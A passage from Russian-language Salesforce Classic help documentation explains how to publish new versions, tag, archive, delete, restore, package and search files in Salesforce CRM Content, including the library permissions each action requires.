воспользоваться списком предложенных тегов. Чтобы автоматически добавить тег в поле «Теги», щелкните
нужный предложенный тег.

• Еслиадминистраторназначилправилоограниченногоприсвоения тегов, топользователимогут воспользоваться
только списком предложенных тегов. Выбранный тег отображается зеленым цветом.

• Имя тега не может быть изменено или удалено. Теги, удаленные из документа, сохраняются в системе.

• Теги нечувствительнык регистру. Запрещается использовать два одинаковыхимени тега, даже еслиих начальные
буквы различаются в регистре. Всегда используется регистр исходного тега.

8. Выберите нужный тип записи в раскрывающемся списке. Тип записи определяет настраиваемые поля, доступные
пользователю для классификации и определения содержимого.

9. После заполнения настраиваемых полей нажмите кнопку «Опубликовать» или «Сохранить».

СМ. ТАКЖЕ:

Управление библиотеками

Обновление версий содержимого

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях: Contact
Manager, Group Edition,
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для добавления новой
версии:
• Флажок «Добавить

содержимое»,
установленный в
определении
полномочий
библиотеки

Чтобы открыть страницу сведений о содержимом, щелкните имя нужного файла на
любой вкладке Salesforce CRM Content.

Публикация новой версии

Чтобыопубликоватьновуюверсиюфайлаиобновитьегосвойства, выполнитеуказанные
ниже действия.

1. Нажмите кнопку «Правка» > «Загрузить новую версию». Данный параметр
недоступен для веб-ссылок, пакетов содержимого и документов Google.

Дополнительную информацию о добавлении или удалении файлов из пакета
содержимого см. в разделе «Создание и изменение пакетов содержимого в Salesforce
CRM Content».

2. Чтобы найти обновленныйфайл, нажмите кнопку «Обзор...».

3. При необходимости обновите поля «Заголовок» и «Описание».

4. Заполните поле «Причина изменения». Данный текст добавляется в электронные
уведомления, отправляемые подписчикам, а также в список версий на странице
сведений о содержимом.

5. Чтобыопубликовать содержимоеотименидругого автора, выберитенужногоавтора
в раскрывающемся списке.

6. Присвойтесодержимомутеги. Возможностьприсвоениятеговопределяетсяправилом
присвоения тегов, назначенным библиотеке.

• Если правило присвоения тегов не задано или администратор назначил
библиотеке правило открытого присвоения тегов, то теги могут быть добавлены в поле «Теги». При вводе тега
приложение Salesforce CRM Content автоматически предлагает варианты тегов на основе списка «Мои недавние
теги» и раздела «Популярные теги» на вкладке «Библиотеки». Список «Мои недавние теги» в окне «Добавить»
содержит 20 тегов, использовавшихся последними. Чтобы автоматически добавить тег в поле «Теги», щелкните
нужный тег.
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• Если администратор назначил правило управляемого присвоения тегов, то пользователи могут создать тег или
воспользоваться списком предложенных тегов. Чтобы автоматически добавить тег в поле «Теги», щелкните
нужный предложенный тег.

• Еслиадминистраторназначилправилоограниченногоприсвоения тегов, топользователимогут воспользоваться
только списком предложенных тегов. Выбранный тег отображается зеленым цветом.

• Имя тега не может быть изменено или удалено. Теги, удаленные из документа, сохраняются в системе.

• Теги нечувствительнык регистру. Запрещается использовать два одинаковыхимени тега, даже еслиих начальные
буквы различаются в регистре. Всегда используется регистр исходного тега.

7. При необходимости обновите настраиваемые поля.

8. Нажмите кнопку «Опубликовать».

Примечания к версиям содержимого

Ниже перечислены рекомендации по созданию и изменению новой версии.

• Приложение Salesforce CRM Content не поддерживает редактирование файлов. Чтобы изменить файл Salesforce CRM
Content, загрузите нужныйфайл на персональный компьютер, внесите необходимые изменения и загрузите
обновленную версию с помощью кнопки «Загрузить новую версию».

• Вложеннаявкладка «Версии» настраницесведенийосодержимомсодержитвсеверсиисодержимого. Список «Недавние
действия» на вкладке «Библиотеки» также уведомляет пользователей о наличии новых версий содержимого.

• Версии Contact Manager, Group Edition, Professional Edition, Enterprise Edition, Unlimited Edition иPerformance Edition позволяют
ежедневнопубликоватьнеболее36 000новыхверсий. Версия Developer Edition ипробныеверсиипозволяютежедневно
публиковать не более 2 500 новых версий.

СМ. ТАКЖЕ:

Загрузка и публикация содержимого
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Удаление, архивирование и восстановление содержимого

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях: Contact
Manager, Group Edition,
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для архивирования и
восстановления
содержимого библиотеки:
• Флажок «Архивировать

содержимое»,
установленный в
определении
полномочий
библиотеки

Для архивирования и
восстановления
опубликованного
содержимого:
• Флажок «Добавить

содержимое»,
установленный в
определении
полномочий
библиотеки

Для удаления содержимого:
• Флажок «Удалить

содержимое»,
установленный в
определении
полномочий
библиотеки

Есть два способа удаления содержимого из библиотеки: архивирование и удаление.

Архивирование позволяет хранитьфайлы в Salesforce вне библиотеки. Также архивные
файлынеотображаютсяврезультатахпоиска. Удаленныефайлыпомещаютсявкорзину,
где хранятся в течение 15 дней, после чего безвозвратно удаляются автоматически. В
течение 15 днейсдатыудаленияфайлаегоможновосстановить, переместивизкорзины.
Архивные файлы также можно восстановить.

Перед удалением или архивацией содержимого важно понимать сходства и различия
между этими двумя способами.

Удаленное
содержимое

Архивное
содержимое

Последствия архивации или удаления
содержимого

Учитываетсявобъемахфайловогохранилища (размер
хранилища и число документов)

Удаляется из библиотеки

Невозможность загрузки новых версий

Содержимое нельзя загрузить (требуется
восстановление)

Содержимое перестает отображаться в результатах
поиска

Содержимое можно восстановить

Автоматическое удаление из списков подписок
(подписчикам не высылается уведомление)

Безвозвратное удаление при очистке корзины

Прим.: Чтобы удалить файлы, входящие в пакет содержимого, следует сначала
удалить сам пакет (контейнер).

Чтобы архивировать или удалить содержимое, выполните указанные ниже
действия.

1. Щелкните имяфайла на вкладке «Библиотеки», «Содержимое»или «Подписки».

2. На странице «Сведения о содержимом»щелкните «Редактирование» >
«Архивироватьсодержимое»или«Редактирование» > «Удалитьсодержимое».

Чтобывосстановитьархивноесодержимое, выполнитеуказанныенижедействия.

1. Выполните одно из перечисленных ниже действий, чтобы открыть страницу
«Сведения о содержимом» архивного файла.

• Выберите закладку на архивное содержимое.

• Навкладке «Библиотеки»щелкнитеимябиблиотеки, чтобыоткрыть страницу «Сведенияобиблиотеке». Чтобы
просмотретьсписокархивногосодержимогонавкладке«Содержимое», щелкнитессылку«Просмотрархивного
содержимого». Щелкните имя нужного файла.
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Прим.: Ссылка «Просмотрархивногосодержимого»отображается толькопользователямсполномочием
«Архивировать содержимое», «Добавить содержимое» или «Управление библиотеками». При наличии
полномочия «Архивировать содержимое» или «Управление библиотеками» отображается список всего
архивного содержимого библиотеки. В случае отсутствия указанных выше полномочий, но при наличии
полномочия «Добавить содержимое», отображается список собственного архивного содержимого.

2. Нажмите «Редактирование» > «Восстановить содержимое» на странице «Сведения о содержимом».

Чтобы восстановить удаленное содержимое, выполните указанные ниже действия.

1. С вкладки «Библиотеки» или «Подписки» или со страницы «Сведения о содержимом» перейдите к корзине.

2. Установите флажок для файла содержимого и щелкните «Восстановить».

Прим.:

• Авторымогут архивироватьивосстанавливатьсобственноесодержимое. Флажок «Архивировать содержимое»
является для авторов необязательным.

• Еслифайлдоступенв Salesforce CRM Content, а такжеопубликованвChatter, топриего архивированиисообщение
Chatter сохраняется.

• Удаление файла Chatter со страницы сведений о содержимом приводит к удалениюфайла из Salesforce CRM
Content и Chatter.

СМ. ТАКЖЕ:

Удаление файла со страницы сведений о файле

3393

Создание, публикация и систематизация файловРасширенное сотрудничество



Создание и изменение пакетов содержимого в Salesforce CRM Content

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях: Contact
Manager, Group Edition,
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для создания илиизменения
пакетов содержимого в
Salesforce CRM Content:
• Флажок «Управление

библиотеками»,
установленный в
определении
полномочий
библиотеки

ИЛИ

Флажок «Добавить
содержимое»,
установленный в
определении
полномочий
библиотеки

Пакет содержимого — это набор связанных документов или файлов, которые хранятся в
Salesforce CRM Content в виде группы. Например, пользователь может создать пакет
содержимого, включающий список продуктов, смету и контракт, которые должныбыть
отправлены отдельному клиенту. Пакет содержимого может быть дополнен любыми
файлами Salesforce CRM Content: от традиционных деловых документов (например,
презентации Microsoft® PowerPoint и PDF-файлы Adobe®) до документов Google и аудио-
или видеофайлов. Пакет содержимого может быть отправлен коллегам внутри
организации, а такжеинтересамили контактам за пределамиорганизации, посредством
эл. почты или мгновенного сообщения. Чтобы открыть окно предварительного
просмотра, поддерживающее просмотр и загрузку содержимого, рекомендуем выбрать
отдельный URL-адрес в доставке содержимого. Чтобы определить количество просмотров
пакета содержимого и загруженные документы, рекомендуем просмотреть сведения об
отслеживании. .

Прим.: Пакеты содержимого поддерживают все типыфайлов; однако окно
предварительного просмотра, открывающееся при выборе URL-адреса доставки
содержимого, поддерживает только файлы PowerPoint, Word, Excel и PDF. Окно
предварительного просмотра не поддерживает документы PDF, защищенные от
копирования. Кроме того, для работы с пакетами содержимого на компьютере
должна быть установлена программа Adobe Flash® Player 9.0.11.5 или более поздней
версии. Впротивномслучае система Salesforceотображает ссылкуна веб-сайт Adobe,
где данная программа доступна для бесплатной загрузки.

Ниже перечислены действия, доступные над пакетами содержимого.

1. В зависимости от преследуемой цели (создание, настройка или изменение пакета
содержимого), выполните одно из указанных ниже действий.

Прим.: Чтобы выполнить описанные ниже действия, установите флажок
«Включить создание пакета содержимого» на странице Salesforce CRM Content
меню «Настройка». Пакеты содержимого, сохраненные системой Salesforce
после отключения функции создания пакетов содержимого, не могут быть
настроены или изменены.

• Чтобы создать пакет содержимого, откройте вкладку «Библиотеки» и нажмите
кнопку «Создать...» > «Пакет содержимого».

• Чтобы создать пакет содержимого путем копирования текущего пакета и добавления, удаления или изменения
порядкаотображенияфайлов, нажмитекнопку «Клонироватьинастроить»на страницесведенийосодержимом
пакета.

• Чтобы обновить пакет содержимого и опубликовать новую версию, откройте страницу сведений о содержимом
пакета и нажмите кнопку «Правка» > «Редактировать пакет содержимого».

2. Чтобы просмотреть все содержимое библиотек, нажмите кнопку «Поискфайлов». Чтобы уточнить результаты
поиска, выберите конкретную библиотеку или введите поисковый запрос в текстовое поле.

В результатах поиска отображаются файлы и документы, а также пакеты содержимого.

3. Перетащите нужное содержимое из результатов поиска в раздел компоновки, расположенный в нижней части окна.
Чтобы скомпоновать пакет содержимого, выполните указанные ниже действия.
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Чтобы открыть документ для предварительного просмотра в нижней части окна, выберите нужный документ в
результатах поиска. При необходимостищелкните «Добавить в пакет содержимого» или «Скрыть
предварительный просмотр».

•

• Чтобыпросмотреть пакеты содержимого, использующие данныйдокумент, наведите указательмышина нужный
документ и щелкните значок папки ( ) в результатах поиска.

• Чтобы просмотреть все документы пакета, наведите указатель мыши на нужный пакет содержимого и щелкните
значок папки ( ) в результатах поиска.

• Чтобы удалить документ из компонуемого пакета, наведите указатель мыши на нужный документ и щелкните
значок корзины ( ) в разделе компоновки.

• Чтобыотменить внесенные изменения, нажмите кнопку «Очистить». Чтобы вернуться на вкладку «Библиотеки»,
нажмите кнопку «Отмена».

Прим.: Пакет содержимого может содержать не более 50файлов.

4. По завершении нажмите кнопку «Сохранить» и укажите или измените имя пакета содержимого.

5. Ниже перечислены действия, доступные в диалоговом окне «Сохранить или опубликовать содержимое».

a. Выберите библиотеку. Чтобы скрыть пакет содержимого от других пользователей организации (например, если
он еще не готов), установите переключатель «Сохранить в мою личную библиотеку».

b. При необходимости добавьте или измените описание пакета содержимого.

c. При необходимости выберите язык. Раскрывающийся список «Язык» отображается только при наличии
многоязычной поддержки. В противном случае, система Salesforce назначает содержимому личный язык
пользователя. Еслипоиск содержимоговыполняетсянаопределенномязыке, то врезультатахпоискаотображается
только содержимое, связанное с данным языком.

d. При изменении пакета содержимого заполните поле «Причина изменения».

e. Чтобы опубликовать содержимое от имени другого автора, выберите нужного автора в раскрывающемся списке.

f. Присвойте содержимому теги. Возможность присвоения тегов определяется правилом присвоения тегов,
назначенным библиотеке.

• Если правило присвоения тегов не задано или администратор назначил библиотеке правило открытого
присвоения тегов, то теги могут быть добавлены в поле «Теги». При вводе тега приложение Salesforce CRM
Content автоматическипредлагаетвариантытеговнаосновесписка «Моинедавниетеги» ираздела «Популярные
теги» на вкладке «Библиотеки». Список «Мои недавние теги» в окне «Добавить» содержит 20 тегов,
использовавшихся последними. Чтобы автоматически добавить тег в поле «Теги», щелкните нужный тег.

• Если администратор назначил правило управляемого присвоения тегов, то пользователи могут создать тег
иливоспользоватьсяспискомпредложенныхтегов. Чтобыавтоматическидобавитьтег вполе «Теги», щелкните
нужный предложенный тег.

• Если администратор назначил правило ограниченного присвоения тегов, то пользователи могут
воспользоваться только списком предложенных тегов. Выбранный тег отображается зеленым цветом.

• Имя тега не может быть изменено или удалено. Теги, удаленные из документа, сохраняются в системе.

• Тегинечувствительныкрегистру. Запрещаетсяиспользоватьдваодинаковыхименитега, дажееслиихначальные
буквы различаются в регистре. Всегда используется регистр исходного тега.

g. Выберите нужный тип записи в раскрывающемся списке. Тип записиопределяет настраиваемыеполя, доступные
пользователю для классификации и определения содержимого.
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h. Нажмите кнопку «Опубликовать». Просмотрите страницу сведений о содержимом, вернитесь на вкладку
«Библиотеки» или опубликуйте другой файл.

СМ. ТАКЖЕ:

Просмотр и редактирование доставок содержимого

Поиск содержимого

Поиск содержимого Salesforce CRM Content, связанного с записями

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях: Contact
Manager, Group Edition,
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для доступа к Salesforce
CRM Content:
• Флажок «Пользователь

Salesforce CRM
Content»,
установленный на
странице личных
сведений

И

Участник библиотеки

Использование связанных списков для записей позволяет быстро находить файлы
содержимого, связанные с интересами, организациями, контактами, возможностями,
продуктами, обращениями или настраиваемыми объектами.

Функции приложения Salesforce CRM Content, включенного в организации, доступны на
страницах сведений об интересах, организациях, контактах, возможностях, продуктах,
обращениях или настраиваемых объектах. Связанный список «Связанное содержимое»
позволяет искать файлы, пакеты содержимого, веб-ссылки или документы Google и
добавлять их в записи. Последняя версия вложенного файла доступна в течение всего
срока существования записи, при условии, что файл не был удален.

Прим.: Связанные списки «Связанное содержимое» или «Доставки
содержимого» доступны, только если администратор добавил их к макету
соответствующей страницы.

Ниже перечислены действия, доступные в связанном списке «Связанное содержимое».

• Чтобы открыть страницу сведений о содержимом, позволяющую комментировать
и голосовать за содержимое, загружатьфайлы, открыватьвеб-страницыидокументы
Google, а также подписываться на содержимое, авторов, теги или библиотеки,
щелкните заголовок нужного содержимого. Дополнительную информацию см. в
разделе «Просмотр и редактирование сведений о содержимом».

• Чтобы удалить содержимое из записи, щелкните ссылку «Удал.» напротив нужного
содержимого. Содержимое не удаляется из библиотеки Salesforce CRM Content.

• Если в организации включена функция доставки содержимого, нажмите кнопку
«Доставитьсодержимое». Доставка содержимогопозволяетбыстропреобразовывать
документы (например, Microsoft® PowerPoint и Word) в специальные интерактивные
версии, удобные для просмотра в режиме реального времени. Каждой созданной
доставкеприсваивается зашифрованный URL-адрес, которыйможет быть отправлен
любому получателю (например, интересам, клиентам, партнерам или коллегам) и
позволяетотслеживатьколичествопросмотровилизагрузок содержимого. Доступнотольков Salesforce Classic. Lightning
Email создает ссылки на основе доставок в виде вложений эл. почты для пользователей Lightning Experience, имеющих
доступ к функции доставки содержимого. Дополнительную информацию см. в разделе «Создание доставок
содержимого».

• Чтобы найти связанное содержимое, выполните указанные ниже действия.

1. Нажмите кнопку «Найти содержимое» или «Искать все». В обоих случаях поиск выполняется по доступным
библиотекам Salesforce CRM Content. Принажатиикнопки «Искатьвсе»отображается все содержимоебиблиотек.
Принажатиикнопки «Найтисодержимое» отображается содержимое, связанное с записью. Приложение Salesforce
CRM Content выполняет поиск содержимого по тексту или атрибутам, соответствующим указанным ниже полям.
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– Для возможности: «Имя возможности», «Имя организации», все конкуренты и продукты.

– Для организации: «Имя организации» и «Отрасль».

– Для обращения: «Причина обращения», «Тема», «Имя организации» и «Отрасль».

– Для интереса: «Имя», «Компания», «Отрасль» и «Должность».

Прим.: Чтобы просмотреть результаты поиска, содержащие полное имя настраиваемого объекта в тексте
или атрибутах документа, нажмите кнопку «Найти содержимое». Если содержимое не найдено, нажмите
кнопку «Искать все».

2. Чтобы отфильтровать результаты поиска, введите поисковый запрос или выберите критерии фильтрации на
боковой панели страницы результатов поиска.

3. Чтобы вложить файл в запись, щелкните ссылку «Вложить» напротив нужного файла.

4. Чтобы вернуться на страницу сведений, щелкните ссылку «Назад».

Поиск содержимого

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях: Contact
Manager, Group Edition,
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для поиска по приложению
Salesforce CRM Content:
• Флажок «Пользователь

Salesforce CRM
Content»,
установленный на
странице личных
сведений

И

Участник библиотеки

Во вкладке «Содержимое» отображаются файлы, пакеты содержимого, веб-ссылки и
документыGoogle, опубликованныевбиблиотеках Salesforce CRM Content. Есливключена
поддержка сети Chatter и установлен флажок «Показать файлы Chatter в Salesforce CRM
Content», то файлы, опубликованные в группах Chatter, и прочие публичные файлы
Chatter такжеотображаютсянавкладке «Содержимое». Поумолчаниюстраницасодержит
20 элементов, измененных последними. Чтобы отфильтровать данный список,
воспользуйтесь боковой панелью «Фильтровать результаты».

Чтобы найти конкретное содержимое, выполните указанные ниже действия.

1. Выберите нужную библиотеку (уточненный поиск) или все библиотеки
(расширенный поиск) в раскрывающемся списке «Поиск». При наличии такой
возможностивыберитепоиск толькопофайламChatterилипофайламгруппChatter
со своим участием.

Совет: Чтобы просмотреть все области, где встречается содержимое, нажмите
кнопку «Параметры отображения» и установите флажок «Показать
области». Области отображаются под каждым заголовком.

2. Введите критерии поиска и нажмите кнопку «Начать». Приложение Salesforce CRM
Content выполняет полнотекстовый поиск по документам следующего типа: файлы
RTF, HTML, XML, Adobe® PDF, текстовыефайлы в кодировке UTF-8, а такжефайлы Word,
Excel и PowerPoint, начиная с пакета Microsoft® Office 97 и заканчивая пакетом Microsoft
Office 2007.

3. Приналичиимногоязычнойподдержкивыполнитепоискпоопределенномуязыку.
По умолчанию приложение Salesforce CRM Content выполняет поиск по всему
содержимому библиотек, опубликованному на языке пользователя. Поиск,
выполняемыйповсемязыкам, охватывает заголовки, именаавторов, теги, расширения
файлов и настраиваемые поля содержимого на всех языках.

Прим.: Однакотакойпоискнеохватывает текстилиописаниедокументов, опубликованныхна языках, отличных
от языка пользователя.
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4. При необходимости отфильтруйте результаты поиска поформату файла, специальному содержимому, автору, тегу,
библиотеке, языку, настраиваемому полю или группе Chatter (при наличии такой возможности) на боковой панели
«Фильтровать результаты». Число, указанное в скобках напротив каждого типа фильтра, соответствует количеству
файлов, пакетов содержимого, веб-ссылок и документов Google, обнаруженных в результате поиска.

Ниже перечислены действия, доступные на вкладке «Содержимое».

• Чтобы настроить представление, нажмите кнопку «Параметры отображения» и добавьте сортируемые столбцы
дляразныхкритериевсодержимого (например, «Размер» и «Датапубликации») илиустановитефлажкидляотображения
описаний, тегов и областей. Параметр «Показать области» используется для просмотра библиотек и групп Chatter,
в которых встречается содержимое. Параметр «Мои библиотеки: нет» или «Мои группы Chatter: нет» указывает
на то, что данныйфайл является файлом Chatter и не принадлежит библиотекам или группам Chatter. Специальные
«интеллектуальные» графики по загрузкам, комментариям, рейтингам и подписчикам позволяют сравниватьфайлы,
пакеты содержимого, документы Google и ссылки с другими результатами поиска.

Прим.: ГруппыChatterдоступнывпараметре«Показатьобласти» тольковтомслучае, есливключенаподдержка
сети Chatter и установлен флажок «Показать файлы Chatter в Salesforce CRM Content».

• Чтобыдобавитьвыбранноесодержимоев архив, выберитенужныефайлыинажмитекнопку «Загрузить». Веб-ссылки
и документы Google не могут быть добавлены в архив.

• Чтобы просмотреть сведения об отдельномфайле, пакете содержимого, документе Google или веб-ссылке, а также
доступные действия (например, подписка, голосование и загрузка), наведите указатель мыши на значок файла.

• Чтобы активировать или отменить подписку, нажмите значок подписки напротив имени нужного файла.
Дополнительную информацию см. в разделе «Просмотр и редактирование подписок на содержимое».

• Чтобы открыть страницу сведений о содержимом, щелкните имя нужногофайла. Страница сведений о содержимом
отображает всю доступную информацию офайле, пакете содержимого, документе Google или веб-ссылке.
Дополнительную информацию см. в разделе «Просмотр и редактирование сведений о содержимом».

Функция поиска поддерживает несколько типов файлов и использует ограничения по их размеру. Если размер файла
превышаетмаксимальнодопустимый, топоискпо тексту данногофайлане выполняется, номожетбыть выполненпоиск
по имени автора, тегам, расширениюфайла и настраиваемым полям.

Максимальный размер файла для
выполнения поиска по тексту

Расширения файлаТип файла

5 Мб.htm, .html, .xhtmlHTML

25 Мб.pdfPDF

25 Мб.ppt, .pptx, .pptmPPT

5 Мб.rtfRTF

5 Мб.c, .cpp, .css, .csv, .ini, .java,
.log, .sql, .txt

Текст

25 Мб.doc, .docx, .docmWord

5 Мб.xls, .xlsx, .xlsmXLS
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Максимальный размер файла для
выполнения поиска по тексту

Расширения файлаТип файла

5 Мб.xmlXML

СМ. ТАКЖЕ:

Поиск файлов

Просмотр и редактирование сведений о содержимом

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях: Contact
Manager, Group Edition,
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ ПОЛЬЗОВАТЕЛЯ

Участник библиотекиДля предварительного просмотра и загрузки
общедоступного содержимого:

НетДля предварительного просмотра и загрузки
личного содержимого:

Флажок «Добавить содержимое»,
установленный в определении полномочий
библиотеки

Для загрузки новой версии:

Флажок «Архивировать содержимое»,
установленный в определении полномочий
библиотеки

ИЛИ

Для архивирования и восстановления
содержимого:

Автор содержимого

Флажок «Удалить содержимое»,
установленный в определении полномочий
библиотеки

Для удаления содержимого без возможности
восстановления:

Флажок «Изменить комментарии»,
установленный в определении полномочий
библиотеки

Для просмотра и редактирования
комментариев:

Флажок «Удалить комментарии»,
установленный в определении полномочий
библиотеки

Для удаления комментариев:

Флажок «Присвоить тег содержимому»,
установленный в определении полномочий
библиотеки

Для присвоения тегов:

Флажок «Пометить содержимое как
специальное», установленный в
определении полномочий библиотеки

Для пометки содержимого в качестве
специального:

Флажок «Доставить содержимое»,
установленный в определении полномочий
библиотеки

Для доставки содержимого из
общедоступной библиотеки:

3399

Создание, публикация и систематизация файловРасширенное сотрудничество



Флажок «Доставить загруженные файлы и личное
содержимое», установленный в определении полномочий
библиотеки

Для доставки содержимого из личной библиотеки:

Флажок «Опубликовать содержимое в лентах Chatter»,
установленный в определении полномочий библиотеки

Для публикации содержимого из библиотеки в ленту Chatter:

В результате выбора имени файла на вкладке «Библиотеки», «Содержимое» или «Подписки» открывается страница
сведений о содержимом, которая поддерживает предварительный просмотр содержимого и сбор информации об
определенномфайле, веб-ссылке, пакете содержимого или документе Google в Salesforce CRM Content. Начиная с выпуска
Summer'10, если в организации включена поддержка сети Chatter, то также отображаются файлы, опубликованные в
Chatter.

Ниже перечислены типыфайлов, при выборе которых открывается вкладка «Предварительный просмотр».

• Файлы Word, Excel и PowerPoint, начиная спакета Microsoft® Office 97 и заканчиваяпакетом Microsoft Office 2007. Некоторые
функции Microsoft Office 2007 отображаются некорректно при предварительном просмотре.

• PDF-файлы Adobe®. Документы PDF, защищенные от копирования, недоступны для предварительного просмотра.

• Файлы JPG, BMP, GIF и PNG.

Доступ к следующим параметрам может быть предоставлен на странице сведений о содержимом в зависимости от
следующихфакторов: тип просматриваемого содержимого; полномочия библиотеки; местонахождение содержимого
(общедоступная или личная библиотека), или посредством Chatter.

• Чтобы проголосовать по файлу, веб-ссылке, пакету содержимого или документу Google, щелкните значок
положительной или отрицательной оценки. Чтобы изменить мнение, щелкните противоположный значок. После
голосования отношение пользователя к содержимому отображается в списке «Недавние действия» на вкладке
«Библиотеки».

• Чтобы создать доставку содержимого, нажмите кнопку «Доставить содержимое». Чтобы просмотреть список
доставок, связанныхссодержимым, нажмитекнопку«Доставитьсодержимое» > «Показатьдоставкисодержимого».

• Чтобы открыть веб-ссылку или документ Google в новом окне, нажмите кнопку «Открыть». Чтобы открыть или
сохранить файл, нажмите кнопку «Загрузить».

• Чтобы активировать или отменить подписку, нажмите кнопку «Подписаться» или «Подписан».

• Чтобы просмотреть пакеты содержимого, использующие данныйфайл, откройте вложенную вкладку «Пакеты
содержимого».

– Чтобы удалить файл из всех соответствующих пакетов содержимого, щелкните «Удалить из всех» (только при
наличии полномочий администратора библиотеки).

– Чтобы просмотреть сведения о пакете содержимого, щелкните имя нужного пакета содержимого.

• Чтобысоздатьпакет содержимогопутемдобавленияилиудаленияфайлови слайдов, нажмите кнопку «Клонировать
и настроить». Приложение Salesforce CRM Content сохраняет или публикует настроенные пакеты в качестве нового
содержимого, а не их копий.

• Чтобы изменить стандартные и настраиваемые поля, нажмите кнопку «Правка» > «Редактировать сведения о
содержимом».

• Чтобысоздатьновуюверсиюпакетасодержимогопутемдобавленияилиудаленияфайлов, нажмитекнопку«Правка» >
«Редактировать пакет содержимого».

• Чтобы заменить файл новой версией, нажмите кнопку «Правка» > «Загрузить новую версию». Данный параметр
недоступен для веб-ссылок, пакетов содержимого и документов Google.
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Прим.: В случае превышения ограничения по объему хранилищафайлов, новое содержимое не может быть
загружено, поэтому кнопка «Загрузить новую версию» неактивна.

• Чтобыудалитьфайл, веб-ссылку, пакет содержимогоилидокументGoogleизбиблиотеки, нажмитекнопку «Правка» >
«Архивироватьсодержимое». Авторымогут архивироватьивосстанавливатьсобственноесодержимоенезависимо
от полномочий библиотеки. Если файл доступен в Salesforce CRM Content, а также опубликован в Chatter, то при его
архивировании сообщение Chatter сохраняется.

• Чтобы удалить файл, веб-ссылку, пакет содержимого или документ Google из Salesforce CRM Content, нажмите кнопку
«Правка» > «Удалитьсодержимое». Содержимоеперемещается в корзину. Авторымогут удалятьивосстанавливать
собственное содержимое независимоот полномочийбиблиотеки. Удаление документаGoogleприводит к удалению
всех его связей с Salesforce CRM Content; однако документ сохраняется в службах Google Apps. Файл, добавленный в
пакет содержимого или доставку содержимого, не может быть удален. Удалениефайла Chatter со страницы сведений
о содержимом приводит к удалениюфайла из Salesforce CRM Content и Chatter.

• Чтобы переместить содержимое в другую управляющую (начальную) библиотеку, нажмите кнопку «Правка» >
«Действия над библиотекой» и выберите «Переместить в другую библиотеку». Чтобы предоставить другим
библиотекам доступ к содержимому без изменения управляющей библиотеки, выберите параметр «Общий доступ
с другой библиотекой». Предоставление общего доступа или связывание содержимого с другими библиотеками
позволяетучастникамэтихбиблиотеквыполнятьпоисксодержимого. Еслиуправляющаяиобщедоступнаябиблиотеки
используюразныеправилаприсвоения тегов, топрименяетсянаиболее строгоеправило. Чтобыудалить содержимое
из библиотеки, которой был предоставлен доступ, щелкните «Удалить из библиотек». Данный параметр не удаляет
содержимое из управляющей библиотеки.

• Чтобы просмотреть, добавить, изменить или удалить комментарии, откройте вложенную вкладку «Комментарии».

• Чтобы просмотреть все версии файла и комментарии-пояснения авторов, откройте вложенную вкладку «Версии».

• ЧтобыпросмотретьсписоквсехпользователейSalesforce CRM Content, загрузившихданныйфайл, откройтевложенную
вкладку «Загрузки». Данные о загрузке недоступны для веб-ссылок и документов Google.

• Чтобыпросмотреть список всехпользователей Salesforce CRM Content, подписанныхнафайл, веб-ссылкуилидокумент
Google, откройте вложеннуювкладку «Подписчики». Чтобыподписатьсяна автора, нажмитераскрывающуюсякнопку
напротив имени нужного автора. Чтобы подписаться на библиотеку, нажмите раскрывающуюся кнопку напротив
имени нужной библиотеки.

• Чтобыпросмотретьвсе содержимое, связанноес тегом, щелкнитеимянужноготега. Чтобыудалитьтегилиподписаться
на все содержимое, связанное с данным тегом, щелкните стрелку напротив нужного тега.

• Чтобы добавить новый тег, введите имя тега в поле «Добавить теги» и нажмите кнопку «Сохранить». При вводе
тега приложение Salesforce CRM Content автоматически предлагает варианты тегов на основе списка «Мои недавние
теги» в диалоговом окне «Сохранить или опубликовать содержимое» и раздела «Популярные теги» на вкладке
«Библиотеки».

Прим.: В зависимостиот правилаприсвоения тегов, назначенногобиблиотеке, возможность ввода новых тегов
может отсутствовать. Если применяется правило управляемого присвоения тегов, нажмите кнопку «Добавить
теги» и выберите теги из списка предложенных тегов или введите новые теги. Если применяется правило
ограниченного присвоения тегов, нажмите кнопку «Добавить теги» и выберите теги из списка предложенных
тегов; ввод собственных тегов не поддерживается.

• Чтобыпросмотреть списокопубликованногосодержимогоавтора, щелкнитеимянужногоавтора. Чтобыподписаться
на все содержимое, опубликованное определенным автором, щелкните стрелку напротив имени нужного автора и
выберите параметр «Подписаться на автора».

• Чтобыактивироватьилиотменитьстатусспециальногосодержимого, щелкнитессылку«Пометитькакспециальное»
или «Отменить статус специального». Специальное содержимое имеет более высокий приоритет в результатах
поиска. Например, в результате поиска по критерию «актив продаж» все файлы, содержащие данный критерий и
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помеченные как специальные, будут отображаться в верхней части списка. Кроме того, специальное содержимое
отображается на страницах общих и подробных сведений о библиотеке.

• Чтобыпросмотреть сведенияобиблиотеке, щелкнитеимянужнойбиблиотеки. Чтобыподписатьсяна все содержимое
библиотеки, щелкните стрелку напротив имени нужной библиотеки и выберите параметр «Подписаться на
библиотеку». Чтобы просмотреть список всех файлов, пакетов содержимого, веб-ссылок и документов Google,
опубликованных в библиотеку, выберите параметр «Показать содержимое библиотеки».

Использование связанного списка «Содержимое»

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях: Contact
Manager, Group Edition,
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition и
